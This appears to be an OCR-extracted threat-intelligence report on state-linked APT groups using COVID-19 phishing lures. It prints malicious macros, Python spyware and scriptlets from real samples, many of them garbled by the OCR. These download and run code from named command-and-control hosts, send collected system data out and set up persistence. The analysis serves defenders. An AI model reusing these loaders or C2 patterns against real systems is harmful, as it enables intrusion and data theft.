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Introduction:
APT groups using COVID-19

Coronavirus (COVID-19) has become a global pandemic, upending
economies, livelihoods, schools and hospital systems—nearly every facet
of everyday life has been touched. Such uncertainty and fear surrounding
the virus and its impact represents a golden opportunity for threat actors
to exploit the situation. By using social engineering tactics such as spam
and spear phishing campaigns with COVID-19 as a lure, cybercriminals and
threat actors increase the likelihood of successful attack.

From late January on, several cybercriminal and state- In this paper, we provide an overview of several different
sponsored groups have been doing just that, using APT groups using coronavirus as a lure, as well as a
coronavirus-themed phishing emails as their infection description of their varied attack vectors. We categorize
vector to gain a foothold on victim machines. Just the APT groups according to the technique they used
like the coronavirus itself, China was the first target of to send spam or phishing emails: Template injection,
Advanced Persistent Threat ( APT) groups, and as the Malicious macros, RTF exploits, and malicious LNK files.

virus spread worldwide, so did the cyberattacks.

Once their victims’ attention was captured by social
engineering, threat actors used various techniques
to deploy malware, such as embedding macros in
Microsoft documents attached to phishing emails or
exploiting system or browser vulnerabilities to drop
malicious software.

Malwarebytes APTs and COVID-19: How advanced persistent threats use the coronavirus asalure 3




Template injection

Template injection refers to a technique in which threat actors embed

a script moniker in the lure document—usually a Microsoft Office
document—that contains a link to a malicious Office template via an XML
setting. Upon opening the document, the remote template is dropped
and executed. Kimsuky and Gamaredon are examples of APTs using

template injection.

Kimsuky

Kimsuky (also known as Velvet Chollima) is a North-
Korean threat actor group that has been active since
2013 and is known to be behind the KHNP (Korea Hydro
& Nuclear Power) cyber terrorism attacks of 2014'. The
group mainly targets Korean think tanks, DPRK/nuclear-
related targets, and several US firms with the main

goal of delivering malicious payloads to its targets and
stealing web application accounts.

Starting in early March 2020, Kimsuky began using
spear phishing emails with COVID-19 in the subject

line as its initial infection vector. The emails contain
malicious documents weaponized with CVE-2017-01992.
This vulnerability allows remote code execution by
exploiting a flaw in the Microsoft Office OLE interface to
deliver malware.

Upon opening the document, a prompt asks victims

to “enable content” to show information about the
coronavirus.

B (LT VRN o im oy Rt il ity { oot

Figure 1: Malicious document used as a lure

6b527¢32126ad88b5015.docx - Word (Product Activation Failed)

T | agbeene| aagbcene AaBbC AaBbCe AAE awbced assbeen assbcen: A
- | TNormal | TNoSpac.. Heading1 Heading 2 Title Subtitle  Subtle Em... Emphasis |

Paragraph 5 Styles.

pear Friends,

As COVID-19 intensifies in the United States and elsewhere, the North Korean response to
the pandemic is fading from the headlines. However, RPI is continuing to monitor the
situation through regular contact with a wide range of information sources on recent

developments. Our latest summary is below.

Are there cases of COVID-19 in North Korea?

Given the number of reported cases in China and South Korea, which border North Korea,
it's hard to imagine that North Korea is dodging the COVID-19 bullet. North Korean officials
have not reported cases of COVID-19, perhaps in part because of a lack of diagnostic
capability; there is uncertainty among medical and humanitarian officials as to North

Korea's capability to accurately test for the disease.

Is North Korea willing to accept international assistance to combat the COVID-19

Figure 2: Malcious document after enabling content

After enabaling the content, a script moniker “in
word/_rels/setting[.]Jxml[.]rels” is triggered and drops a
Microsoft document template called web.dotm from the
following url:

http://crphone[.Imireene[.]lcom/plugin/editor/
Templetes/normal.php?name=web

Iaerrzare Types

| Target="http://crphone mireene.com/plugin/editor/Templates/normal . php?name=web" r

Figure 3: setting.xml.rels content
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The “web.dotm” has an embedded macro which is designed to target Mac users (Figure 4). This macro also runs

on Windows OS, however, it only executes its main malicious functionality on a Mac. There is an “If statement” that

checks the operating system and executes a remote Python script called “Secured.APP”.

5 #If Mac Then

6 4If Win64 Then|

7 Private Declare PtrSafe Function popen Lib "libc.dylib"™ (ByVal command As String, ByVal mode As String) As Long
8 #Else

9 Private Declare Function popen Lib "libc.dylib" (ByVal command As String, ByVal mode As String) As Long

10 #End If

kil #End If
12 Sub AutoOpen()
) On Error GoTo eHandler

14 Application.ActiveWindow.View.Type = wdPrintView
15 ActiveDocument.Unprotect "lgaz2wsx#EDC"
16 Dim 5 As Shape

L7/ For Each s In ActiveDocument.Shapes

18 s.Fill.solid

i) s.Delete

20 Next

21 Selection.WholeStory

Z2 Selection.Font.Hidden = False

723 Selection.Collapse

24 ActiveDocument.Save

£5 ac N

26 cmd = "import urll H

27 cmd = emd + "exec(urllib2.urlopen (ur. equest ('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=vl'})) .read())"
28 Result = popen("python —c """ + cmd + " )

29 #End If

30 eHandler:

28 Exit Sub
32 End Sub

Figure 4: Malicious macro embedded in web.dotm

Figure 5 shows the content of “Secured.APP”, which executes the second stage Python script. Based on the
directory information provided in this script, it seems it is targeting users with Microsoft Office version 2016
or earlier.

import os;

import posixpath;

home dir = posixpath.expandvars("SHOME");

normal dotm = home dir + "/../../../Group Containers/UBF8T346GS.0ffice/User Content.localized/Templates.localized/normal.dotm"
os.system("rm -f '" + normal_dotm + "'");

fd = os.open(normal_dotm,os.0 CREAT | os.0 _RDWR);

import urllib2;

data = urllib2.urlopen(urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=normal')) .read()
os.write(fd, data);

0s.close (fd)

exec{urllib2.urlopen{urllib2.Request('http://crphone.mireene.com/plugin/editor/Templates/filedown.php?name=v60')) .read())

Figure 5: Secured.APP
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The second payload, as depicted in Figure 7, is spyware
that collects information by running several commands
and sending the collected data to its C&C server. The
main function is “SpyLoop”, which collects and sends
device/user information in an infinite while loop.

The list of collected information, stored in separate files
(Figure 6), is as follows:

»  Architecture info

+ System info

«  Apple Pay

« Audio

« Bluetooth

« Camera

«  External network info
«  Firewall

« Hardware info
« Language and region

« List of running processes

« List of installed Applications

« List of files in Documents/Downloads/Desktop
directory

« List of volumes

« List of users

¥ [l backup Folder Today at 3:15 PM
arch.txt 152 bytes Plain Text Today at 3:15 PM
documents.txt 690 bytes Plain Text Today at 3:15 PM
basic.txt 55 KB  Plain Text Today at 3:15 PM
desktop.txt 3 KB Plain Text Today at 3:15 PM
app.txt 4 KB Plain Text Today at 3:15 PM
downloads.txt 2KB Plain Text Today at 3:15 PM
wvol.txt 117 bytes  Plain Text Today at 3:15 PM

Figure 6: Content of collected information

The directory is then compressed with a password
(“doxujoijcs0qei09213@#$@") and uploaded as a zip file
in an http request as shown in Figure 7.
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import os

import posixpath

import time

import urllib2

import threading

from httplib import *

def CollectData():
#create work directory
home_dir = posixpath.expandvars
workdir = home dir + "/../../.
os.system("mkdir -p '" + workdir +

v LERE'")
#get systeminfo

0s.system("syst
#get process 1
#0s.system("ps
#get using app
os.system("1ls -
#get documents

os.system("1ls - .Lxt'")
#get downloads file list
o0s.system("1s - + home dir + "/d "> '" 4 workdir + "/d is.txt'™)

#get desktop
os.system("1
#get volumes
os.system("1s
#get logged on user 1
#05, qvstem (Mg —i o
#zip gathered informations
[Zipname = Nome dir
os.system("rm -f£ *
zippass d
zipcmd js
print(zipcmd)
os.svstem‘zigmd)
Try:

BODY = open(zipname

headers = {

"text/html,

+ home dir + "/deskt '" 4+ workdir + "/

ktop.txt'"

>»> '" + workdir + "/

-txt'")

pkdir & "/y i LEpv)

.OIT

"" 4+ workdir + "'"

boundary H
postData + boundary + "\r E""\r\n\r\nl0
nai g "y fi ame=""1 r\n--" + boundary +

conn = HTTPConnection
conn.connect ()
conn.request ("
conn.close ()
#delete zipped file
os.system("rm -£f ""
except:
print "e
def ExecNewCmd() :
exec (urllib2.urlopen(urllib2.Request('http:
FeT SspyLoop () -
while True:
CollectData()
ExecNewCmd ()
time.sleep(200)

', postData, headers)

+ zipname + "'")

com/plugin/editor

main_thread = threading.Thread(target=spyLoop)
main thread.start ()|

Figure 7: Second Python script

The next function in the loop is “ExecNewCommand”, which is likely used to download additional content. It then
sleeps for five minutes and repeats the same process. At time of writing, it only responded with a “200 OK".
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Gamaredon

Gamaredon is a Russian APT that primarily performs cyber espionage operations against Ukrainian military forces,
as well as individuals related to the Ukrainian government. Gamaredon has been active since 2013 and often uses

spear phishing as its initial infection vector.

Between March 23 and 25, Gamaredon sent phishing emails using the COVID-19 theme and employed remote
template injection within their lure, a Microsoft Word document written in Russian. (Figure 8).

Upon opening the document, a remote template is
dropped from the link provided in the XML setting
(Figure 9).

We were not able to retrieve this template at time of
publishing, but found other similar templates used by
this APT days before this campaign and realized they
are using similar malicious macros. Figure 10 shows an
example of such a macro.

Instead of executing the malicious behavior upon

opening the document (using the “auto_open” function),

the malicious macro in this document is executed in
the “Document_close” function. This could be to bypass
dynamic analysis if the document is not closed before
the sandbox times out.

The macro collects the computer name, home drive’s
label/serial number, and BIOS information (using WMI)
and sends it to a hardcoded C2 server with this format:

http://Server/ComputerName_DriveSerialNumber/
BiosVersioninfo

Sed3ac60eb8a752434783236d70c8d75dad2fec461ffc88124ceb622a94f363.doc [Compatibility Mode] - Word

ilings  Review Q Tell me what you want to do.
Qoo 9 [ 5 ==
[EIE Multiple Pages [ ) Synchro g
New Armange Split Switch Macros

¢ Page Width Window Al Reset Window Position ' windows~| -
oom Window Macros

“Banagrnnreo “PIA” J/‘NR I “Yydaynytstyo “RIA”

G
Inesmndixaniiimn ko7 ropmmmoi ocobr 34095069 Identification code of legal entity 34095069
Micressaxomxenss: Registered add.ress

21032, 3 Bimmmz, 5y, Lnpmosa, 3 21032, Visgytsia, Shysshavs Str.

rea /paxe (0432) 55-51.11 tel/Fax: +38 (0432) 55- 51 u
24, biniz AKB “Paitdpait 5/2 2600002309424, Backc

Y pema’ 0. Bismuma, M0 202720 Vst b, MFO 302720

Cayx0a Oeanekn YKpairin

3ANMAT HA ITHOOPMAIIIIO

CpiMKe NOIINpeHHA KOpOHaBipycHOI iHdexmii y cBiTi cTamo TmobamsHIM
BIKIIIKOM JUIA BChOro moicTBa. 13 Gepesms I'emepansmmii mnpexkrop BOO3 Tempoc
Anxanom Tebpeecyc HaromaocHs, o came €Bpomna cTata emineHTpoM manzeMil COVID-
19.

OcKiTBKII Bil KOpOHABIpYCHOI iHdeKil me He icHye BaKIMHN, HaileeKTHRHIITIMII
3aco0aMIl NPOTIIL NAHIEMIi BH3HAHI OOMEKCHHA MEPeCYBAaHHA MIONell 1 peKiM
KapaHTIIHY.

3 ypaxyBaHHAM BHKIAJCHOTO, IPONIy HAJaTll BLIIOBITe IIOXO 3aXONIB, AKi
BKHBaKOTHCs KepiBaITBoM CBY 3 mpotuil posnoscromxerno COVID-19.

BiAnoBies OpomTy HagaTH elTeKTPOHHOO MOMITO Ha afpecy tov-ria@i.ua.

Figure 8: Lure document

)<'-‘xm1 wersion="1.0" encoding="UTF-B" standalcne="yes"?>

"http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate"

<Relatienships xmlns="http://schemas.openxmlformats. ozq;’packagefzDDS;‘zelationshﬁ.ps‘><Relatlonsh1p Id="xId1l" Type=
Tar S/1

getMode="External"/></Relationship

Figure 9: Template injection
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It then creates a VBS script in the %APPDATA% directory and makes it persistent by copying it into the startup
directory. In addition to the mentioned items, the script also collects keyboard layout and country code and checks
whether Process explorer or Wireshark are running on the system.

Private Sub Document Close()
Dim nKzgB
Set nKzgB = CreateObject("WScript.Shell
Set WNetworkLib = CreateObject ("Ws
Dim zmpaw, pklhg
Set wwcy] = CreateObject
UBEg@t = Environ("HOMEDRIVE
bzxAp = Environ("COMPUTERNAME")
Set zmpaw = CreateObject (" ipting.FileSystemObject") .GetDrive (uBEgt)
fHjsz = Hex(zmpaw.SerialNumber)
Dim uIHAo, EDCbsZ, jEWaRQ, wKbyd, haRht, vAtdg, rgEdk
UIHRO = bzxAp & " " & fHisz
Set FmDVUBJJRw = GetObject ("
Dim KpCFjuRHMBO
Set nFDAKWHBQMX = FmDVUBJjRw.ExecQuery("select * from Win32 BIOS where PrimaryBIOS = true", , 48) /
?For Each 1kx2ziAsDg@h In nFDAKWHBQMX
GDedoUioVRR = GDedoUioVRR & lkxZiAsDgQh.Manufacturer & "-" & lkxZiAsDgQh.Version
Next
pklhg = "http://solod bounceme net/" & ulHAo + "/" + GDedoUioVRR + "/"
Dim SHSVySwWABV()
Dim YGnEsSrDmt, csYiXg
On Error Resume Next
Do
csYiXg = csYiXg + 1
YGnEsSrDmt = nKzqgB.RegRead("HKCU\Keyboard Layout\Preload\" & csYiXg)
If Err.Number = 0 Then
ReDim Preserve SHSVyswABv(csYiXg - 1)
SHSVysSwABV(cSYiXg - 1) = YGnEsSrDmt
Else
Exit Do
End If
Loop
on Error GoTo 0
Dim UIWrhW1LUK()
ReDim UIWrhW1LUK(UBound (SHSVYySWABV}))
For csyiXg = 0 To UBound(sHSVVSWABV)
UIWrhW1LUK(cSYiXg) = nKzgB.RegRead ("HKLM\SYSTEM\C
pklhg = pklhg + "_" + UIWrhWlLUK(csYiXg) "http://s
T

"y
pt.Network")

ipting.FileSystemObject")

inmgmts://" & "." & "/root/cimv2") // connect to WMI using WhemScripting.SwbemLocator

ntControlset\Control\Keyboard Layout\DosKeybCodes\" & SHSVyYsSwABV(csYiXg))
lod.bounceme.net/DESKTOP-2C3IQHO_A2COAD2F/innotek GmbH-VBOX - 1/_us"

Set nFDAKWHBQMX = FmDVUBJJjRw.ExecQuery("Select * from Win32 Process")
For Bach 1kxZiAsDgQh In nFDAKWHBQMX

If 1kxZiAsDgQh.Name = "procexp.exe" Then
pklhg = pklhg + " !PExp"
End If

If 1kxZiAsDgQh.Name = "
pklhg = pklhg + " !WShark"

eshark.exe" Then

End If

If 1kxZiAsDgQh.Name = "procexpéd.exe" Then

pklhg = pklhg + " !PExp64"

End If

Next

pklhg = pklhg + "/telemetriya.php" "http://solod.bounceme.net/DESKTOP-2C3IQHO A2C9AD2F/innotekGmbH-VBO%-1/_us/telemetriya.php"
pklhg = Replace(pklhg, " ", )

EDCbsZ = Environ("APPDA

JEWaRQ = EDCbsZ + "\

WKbyd = EDCbsZ + "\M

haAht = EDCbsZ + "\M k +.vbs"
rgEdk = EDCbsZ + "\M \Start Menu\Programs\Startup\security.vbs"
vAtdg = Environ("USERPROFILE") + "\Documents\sector.vbs"

Dim xhhbd As Object

Set xhhbd = wwcyj.CreateTextFile (vAtdg, True, True)
xhhbd.Write "On Error Resume Next" + vbCrLf
xhhbd.Write "Dim HAtNJD" + vbCrLf

xhhbd.Write "HACNJD = DateAdd(s, 36, Now())" + vbCrLf
xhhbd.Write "Do Until (Now() > HACNJD)" + vbCrLf
xhhbd.Write "Loop" + vbCrLf

xhhbd.Write "Function KEpCFJ (dugbmc)" + vbCrLf
xhhbd.Write "On Error Resume Next" + vbCrLf
xhhbd.Write "Set FybvgO = CreateObject (MSXML2.XMLHTTP)" + thrLﬂ
xhhbd.Write "With FybvgO" + vbCrLf

Figure 10: Macro embedded in template

The APT group then drops its custom backdoor “Pterodo” that is capable of downloading other malware variants
and collecting sensitive information?®.
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Malicious Macros

Embedding malicious macros is the most popular method of infection used
by APTs. In this attack vector, a macro is embedded in the lure document
that will be activated upon its opening. In the following sections, we look at
APTs using this method in their COVID-19 lure.

Table Tools 2cd5f1852ac6d3ed481394eaabc49f16789¢ 12fb8 1bcdf9988762730fb0aasf.doc - Woll

Ki m S u ky = ey e ayout  Q Tell me wk

8L aagbceDe AaBbcede AaBbC AaBbce AAE assbeed assecn. a

In the preViOUS SeCtion, we mentioned that KlmSUkY iS E:A- : TNormal  TNoSpac.. Heading 1 Heading 2 Title Subtie  Subtle Em... E
using template injection to infect Mac users. We also : ssis
observed this actor using COVID-19-themed malicious

macros to target Windows users mostly in South Korea“. :

(Figure 11): B2Upet0lB2AEE-19 Y 2lo]

2020.2.24 7|2 &R

1. BAX|Y #3242 09A))
o HAKX|Y SHEIXE 16 (T2 602F)

o B SSERMSAIE Tk 223(Y) ~ HE QHYf A| 7HX|

&
ap

0 TIEZOl AT ZZAY FHEAY, BTE, HXGD B 22

Figure 11: Malicious document targeting Windows users
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The malicious macro is obfuscated, as shown in Figure 12:

Const wwixmpquap = 0

Private Function uvwycgyhgtmt(ByVal zjkvoxjeyigc As String) As String

Dim tkwzgharcnkh As Long

For tkwzgharcnkh = 1 To Len(zjkvoxjeyiqc) Step 2

uvwycgyhgtmt = uvwycgyhqtmt & Chr3(Val("sH" & Mid3(zjkvoxjeyiqc, tkwzgharcnkh, 2)))
Next tkwzgharcnkh

End Function

5Sub psjmjmntntn(kmsghjrsxteynvkbz As String)

With CreateObject(uvwycgyhqtmt("5753637269") & uvwycgyhqtmt("70742e5366656c6c"))
.Run kmsghjrsxteynvkbz, wwixmpquap, True

End With

End Sub

5ub AutoOpen ()

With ActiveDocument.Background.Fill

.ForeColor.RGB = RGB(255, 255, 255)

.Visible = msoTrue

.Solid

End With

election.WholeStory

Content = uvwycgyhgtmt ("6d7368746120687474703a2f2f76626578742e6d687265") & uvwycgyhgtmt (

" 656e652e636f6d2f7468656d652f62617369632f736b656e2f6d656d6265722f62617369632Ff75706c6£61642f7365617263682e687461202f66")

Selection.Font.Hidden = False
psjmjmntntn (Content)
Selection.Collapse
ActiveDocument . Save

End Sub

Figure 12: Malicious obfuscated macro

After de-obfuscating the script, we can see the value stored in the content variable as:

l "C:\windows\System32\mshta.exe" http://vnext.mireene.com/theme/basic/skin/member/basic/upload/search.hta /f ]

This uses “mshta” to execute a malicious search.hta file from its server. The content variable is then executed by
Wscript. The “Search.hta” contains a script that downloads another script. The downloaded script is spyware that
collects sensitive information, such as IP addresses, usernames, list of processes, RDP information, and Outlook
information and sends it back to the server.

Konni (APT37)

Konni is a North Korean APT that has been active since Figure 13 shows the lure document, named “Keep an
2012 and is known to target South Korean organizations  eye on North Korean cyber.doc”:
in the chemicals, electronics, manufacturing,

aerospace, automotive, and healthca re ind ustries. In 9bd4f83442f08fe627d4d7d26d 5cf57 695bb050ee625fd769f31793df616.doc [Compatibility Mode] - Word
H H H ences  Mailings  Review Q Te it to do.
2017, the group expanded its operations, targeting (30w g O e @B 0
organizations in several other countries, such as the US, am 1001 Tt o e e SRS | g s
. . . . . 42+ Page Wi Window Al eset Window Position  windows » -
Japan, Vietnam, Russia, Nepal, China, India, Romania, o e

Kuwait, and countries in the Middle East. Recently,
researchers found several communalities between this
APT and Kimsuky, showing there is a close tie between
these two groups®.

Keep an eye on North Korean cyber-crime as the Covid-19 spreads
The Covid-19 outbreak continues to cause tumult in the global economy, with countries like South
Korea and ltaly reporting a rapid increase in diagnoses and many companies requesting that

employees work from home to keep the virus from spreading.

Konni is known to use spear phishing emails, strategic

we b com p rom iSGS, an d to rre nt -ﬁ | e-s h a ri n g IS iteS to In North Korea’s case, it has had i.ls Chinese. I?orders clofed for overé mo|.1th, long beff;re the rest of
the world began to react to the virus. Even if it were, as its state media claims, coronavirus-free, how
com p romise |tS VI Ctl ms. | n mi d - M arc h , t h ey beg an long could their economy sustain total global isolation? By sealing their border with their largest
. . R . economic partner, North Korea has effectively placed itself at the mercy of UN sanctions.
sending spear phishes with COVID-19 warnings,
. . .. Kim Jong-un knows that his country cannot last like this for very long, and with so much of his
Ironica I |y a d VISIN g rea d ers tO WatC h (o] Ut fO r N (0] rt h KO rean power stemming from the support of Pyongyang’s elite, we must prepare ourselves for their
. . . reaction. Learning from the DPRK’s past behavior, national security leaders should be less
cybercrime spikes related to the spread of the virus. Cocomnd oy o 3 ottt tnton o shrng o ey Gt

Jonathan Corrado, policy director for the Korea Society, noted in a recent article the extreme lengths

North Korea has gone to prevent the spread of coronavirus in the country. These border closures,

although necessary to reduce the chance of viral contagion, will have a lasting impact on their

Figure 13: Lure document
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The embedded macro in this document includes an encrypted executable code that is XOR decoded and stored
in the “C\Users\UserName\"” directory (Figure 14). The dropped executable is a downloader for their popular Konni
Remote Access Trojan (RAT) downloaded fromé:

http://phpview[.Imygamesonline[.]Jorg/3.dat

Private Sub Document_Open()
Dim n As Long

Dim cLine As String
Dim path As String
path = save2file()
cLine = "cmd /c cd /d %
n = Shell {cLine, vbHide)
ActiveDocument.Content.Font.ColorIndex = wdBlack
End Sub

Function save2file() As String

Dim nIndex As Long

Dim path As String

Dim vbuffer As String

Dim output{) As Stri
path = Environ({"
path = path & "\

% && ren up.txt up.exe && up http://phpview.mygamesonlin

i

.org” ]

vbuffer = "B2&AS&6F&FF&FC&FF&FF&FF&FBAFFSFF&FF&00600&FF&FF&4T7&FEAFF&FF&FFSFF&FFAFFSBE&FE&FFaFE&FFSFE&FF&FESFF&FESFP&FE&FE
vbuffer = vbuffer + "FF&FFaFO&FF&FF&FF&FFaFF&FF&FFaFFa4FaFFaFFGFF&EFGFF&FFSFF&FFSFFAFF&FD&FFSBF& TASFFSFFSEFSFF&FF&EFSFE&E
vbuffer = vbuffer + "FF&FF&3FaFFsFFaFFaFF&FFaFFaFFsFFaFFaFF&FFaFFaFFsFFaFFaFF&FF&sFFaFFaFFaFFsFF&aFF&FFaFFsFFaFFEFF&FFSFF&H
vbuffer = vbuffer + "FF&FF&FF&FF&FF&FF&FFaFF&FF&FFaFF&FF&FFaFF&FFP&FFaFF&FFSFF&FF&FFaFF&FF&FFSFF&FF&FFSFF&FF&FFGFE&FFSFE&E
vbuffer = vbuffer + "CC&3FsE3&ClsD8&40&6C&43&CB&DI&CT&CBEBT&CosF360666368358BlERA3SCOLFF&BF&CCE4TaCDEBDE0DECELTIECCE4BEETED
vbuffer = vbuffer + "DB&AB&B6&AFsT65E8B&DB&SAL0456126445DFeFCSsE3572&B0&BCs364EEABB&BCA&FFsB6&FF&FBEBT6235185830560588BsB3&9RKE
vbuffer = vbuffer + "63&DB&lF&44&36&CR&46544611&9C&1B&19&EFSEB&DF&FCEDT&468C36F26T95TA&08&205445R387TTaET&T26BF&FE&BEEBAL]
vbuffer = vbuffer + "R9&65&C4&DASFF&BB&CTE5T4D95BB&4E&1860458955636126RT&FBER3&9FSAREEDSB2&E258F46ECE2Ta008E38B26AF&DES2T&E
vbuffer = vbuffer + "0B&ClaDF&09:4Fs995844D54F6&1BsFBERAS5&CB&R9EDE&4CE0CEBCEOF&5BEB1aAFsRCERFE346B28C1a4FsRFEE48376T487257
vbuffer = vbuffer + "42&CF&52&48644522&TCsBB&T4&FB&55&BF&DT&0E&DASEFSFB&BDE4DECRA&9358B&61&TFE1562F&A36DT&AS&0F521&D0526&E
vbuffer = vbuffer + "42&D9&11&BD&CD&47&D6&0D&09&D0&21463CaBB&FA&4T&DCE32&178DCEEBSBOSFB&FO&BBEDF&4DEFB&4452B&FDEAE&EBTE004&]
vbuffer = vbuffer + "2F&C682F&3952565E6E24658E84B45C558DBaCFaBFaBF&9358435RCE3F&3253Da0FsR25BDET164B&B0&DFsFo5sB458EB&F382957
vbuffer = vbuffer + "FCeFRASFE&FT&TF&C56F56936B364D68960B&0FsBDETCEBCEBO&954CCECBEE663BSFFEDOsAS6%056B&FAGF45335895EC550487
vbuffer = vbuffer + "3C&99sBEA&22&B0&4CE&4F&3B&E0&BEECCESFAFESEDEA0&5BEDB&0082043E8485FT665&3E81F&FT7&F46ET7591&2560D&F05BF &2
vbuffer = vbuffer + "R4&87&4534E18E6ER689T6F64B6&3FaF5&018R660B&126BO65F&608364DB&216958EB&D0&D5&1182164282E8FDEFR&468R6&3
vbuffer = vbuffer + "94&5158D3&D4&TEEB1&TEEB2&0B&BE&EOR&916BREEAE4968050654B858R0&FT7603596569169R5B6&BREA0:0759168B&OR&935BAEE
vbuffer = vbuffer + "C5&F0&26&F3&8FALB0GE0&EF2&1F&3D5245186166C14BBEEFEFLl&328134908DF&OFsCFaR458065B89582468254B8C96F382058E64&(
vbuffer = vbuffer + "SE&F4&02&79&TB&lF&TDEEE&SCAEE&F1&T7C&0F&09&0E&D467258B&CEL9B&B36C65038TBEDB&3484Ec128DRsF250281C80358
vbuffer = vbuffer + "90&9F&04&D3&2B&CI&6C&08&DC&1086F&BD&D56595686E56F5&38586D&8B&015sE96T6&ER&0251C8126F25B3604587360C874463
vbuffer = vbuffer + "D4&2CeRD&T482C&358E86B5&F2622584DsR06B35sCELBRBEASEOCEEOSCALBS5SBEL264BDE&FFSFF&99586RsD0SFFSEO&B189158TA&S
vbuffer = vbuffer + "B8C&sBR&BT&BF&%E&1D&l1364Cs128096BR&916689696509169160254B5BBEE2&BCERA0sARE6CECFEB48248DCEB1&9050F&9DE06&E
vbuffer = vbuffer + "18&41sA74&C5&B8EAE&BFECOGEA&T05BREF26418TEROCEAFFEB44E45R0&CAE14545544563250C5425CBaFALCESFFED2&FCEBESE
vbuffer = vbuffer + "CC&CE&DE6&B3&3E&T38TB&C440262CEB246376266356CE&CBECDEDAEFO&F0829682F&0CE&BAE30GRAFETCEOCE02589BEBE&IREBAL]
vbuffer = vbuffer + "CF&60&BR&01&BB&IC&IELBB&4CE&RI&8DT&BT4EB&BT&FD&RCEDD&EF&364E1SEFSEE&TAEDES11859CE208TF&958BREBT&IREOCER
vbuffer = vbuffer + "E3&67&4CC&RB&RAIECI&035CB&2264458F5&BCAACEAFE916E25DT&5B5BB&BCEBFE9664569RECBERADEEB&Y9EBEAFS5EE1&CCE4FET
vbuffer = vbuffer + "FEsEF&Fl&EE&F64E0&F46FS5&ED&FSEDD&F46838F24F1&FBaF2&FE8F6&CCE&DTEF1&0F&534FESGELSE6SFB&FTSFRASFB&BEE10&E
vbuffer = vbuffer + "BE&sFE&244B8R&FB&T748E167C&1180358EE&24488D8128474FEGFF&FF&FFEFE&245BRaFB&T48EL18TCE1168038EE&2454EE&3FEFE&S
vbuffer = vbuffer + "3C&FB&l4&1E&00&69&6Fs6DaFF&FF&aTC&386FB&T728A160354CE&3F5T754FB&BBLFE&3F&BBADD&C358104B85EESFEG3C&TAEFCET
vbuffer = vbuffer + "FF&BTsFFaFFsFFsA365FSFFaFFsB2aFEAFFsFFaFFSFFeFFsFFSFFSFFSFFaFFSOFs OFSFFSFFaC35C0sBT75925938DFSB959ALE
vbuffer = vbuffer + "93&8C2&D8&OE&BCEB6&916894690&9459R&BDEDBEDF&BRE966BE&ICEOCEIREBCEBCEC2&DBEY989EL934BCEOREDBEDF&DOECLEE
vbuffer = vbuffer + "SC&FF&FF&FF&FFaFF&FF&aBD&SCA&FFaFF&FF&FFaFF&FF&T365C&FFaFFEFF&FFEFF&FF&6585CaFFEFFaFF&FF&FF&FF&53585C&E
vbuffer = vbuffer + "B8&BC&BF&BD&26491&BB&O9&BEAFF&FF&FFEA989R&BDEAEEBAEIREBDEBESROL9E6936BREORGAREFFSFF&FF&6F&FF&FFEF3&H

output = Split(vbuffer, "&")
Open path For Binary As #1
[For nindex = LBound(output) To UBoOuUNd(output)
Put #1, , CByte(("sH" & output(nIndex)) Xor &HFF)
Next nIndex
Close #1

save2file = path
End Function

Figure 14: Embedded macro
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APT36

APT36 is another threat group that has employed macro-embedded COVID-19 themes in their recent campaigns.
The group is believed to be Pakistani state-sponsored, mainly targeting the defense, embassies, and government
of India.” Their coronavirus attacks began on March 12 and included phishing emails with attached malicious
documents, which dropped Crimson RAT payloads on victim machines.

Patchwork

Patchwork, also known as Dropping Elephant, Chinastrats, APT-C-09, and Quilted Tiger, is an Indian threat actor
that has been active since 2013. The primary targets of this APT are organizations related to diplomatic and
government agencies in China, Japan, the Middle East, the UK, the US, Bangladesh, Sri Lanka, and Pakistan.
Patchwork mainly uses spear phishing methods to gain access to victims’ machines.

In early February, Patchwork began sending phishing emails with a COVID-19 theme, using malicious Excel
documents to target Chinese organizations (Figure 15).

H - & fc7c04af29790f0e7240770d ceablac8fbeb51e2827ae284481845d7bd8bc978.xIs - Excel

File Home: Insert Page Layout Formulas Data Review Q Tell me what you want to do. Signin ,0+ Share
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i =gE e Q3 E 5 B B8gm Qe BIE
Normal Page Break Page Custom [ Gridiines [v] Headings Zoom 100% Zoom to New Arrange Freeze N N Switch Macros
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Figure 15: Lure document
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The embedded macro (Figure 17) is simple: It downloads a script from the URL embedded as a formula in column
“X”, row “100". (Figure 16).

fc7c04af29790f0e7240770d ceablac8fbeb51e2827ae284481845d7bd8bc978.xls - Excel m =

Insert  Pagelayout Formulas Data  Review View ) Tell me whatyou want to do Signin S Share

"y E)éz:;y ) Calibri ‘”1 - KA - EPWrap Text General - [:F—‘ 5‘4 Normal Bad - gm EX El Ai:lllvusum - %Y p

T | 8 1 U IE18- A e | § -3 » 3 | St e EORRRN GGG | = oo | gy ot
Clipboard = Font & Alignment = Number ® Styles Cells Editing ~
X100 - e | http://45.153.184.67/window.sct | -
G H1 J K L M N o P a R s T u v ow[x ] v z [~

Sheet1 @ . »

Figure 16: Url embedded in the cell

Private Declare PtrSafe Function DllInstall Lib "

bi.d11" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long

Sub xxXXXXXEXXXX ()
DllInstall False, ByVal StrPtr(Sheetl.Range ("X100").Value)
?End Sub

Sheetl.Unprotect "nhc gover™
AXXXXXKXLXKE
End Sub
?Sub Workbook_Open ()
BBEBBEBBEBEEBEBBB
End Sub

Tsub BBBBBBBBBBBBBBBEB ()

Figure 17: Macro

The downloaded Scriptlet “window.scr” (Figure 18) is responsible for dropping and executing another payload,
which is a custom backdoor developed by the actor.

kexML versien=ri.0"2>

<scriptlet>

<registration
progid="pPoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
«script language="JScript">

t.shell™) ;function decode (e) {var t=new ActivexObject ("Microsoft.XMLDOM") ;vazr a=new ActiveXObject ("ADODB.Stream");el=t.createElement("tmp");

;a.open() ;a.Write (el.nodeTypedvalue) ;a.Position=0;a.Type=2;a.CharSet="utf-8";var e=a.ReadText() ;a.Close() ;return c}function

downloadFile (e,t) {vazr a=new ActiveXObject (™ osoft.XMLHTTP") ;var o=new ActiveXObject ("Adodb.Stream") ;a.Open("GET",e,false) ;a.Send() ;o.typ ;o0.mode=3;0.open() ;o.write(

a.responseBody) ;o.SaveToFile (t,2) ;o.close () }vazr t=e.SpecialFolders ("startup")+decode ("XHR1bXAuZXh1") ;downloadFile("http://45.153.1684.6 dow.jpeg",t);e.run{'""+t+"'"") ;
</script>

</registration>

</scriptlet>

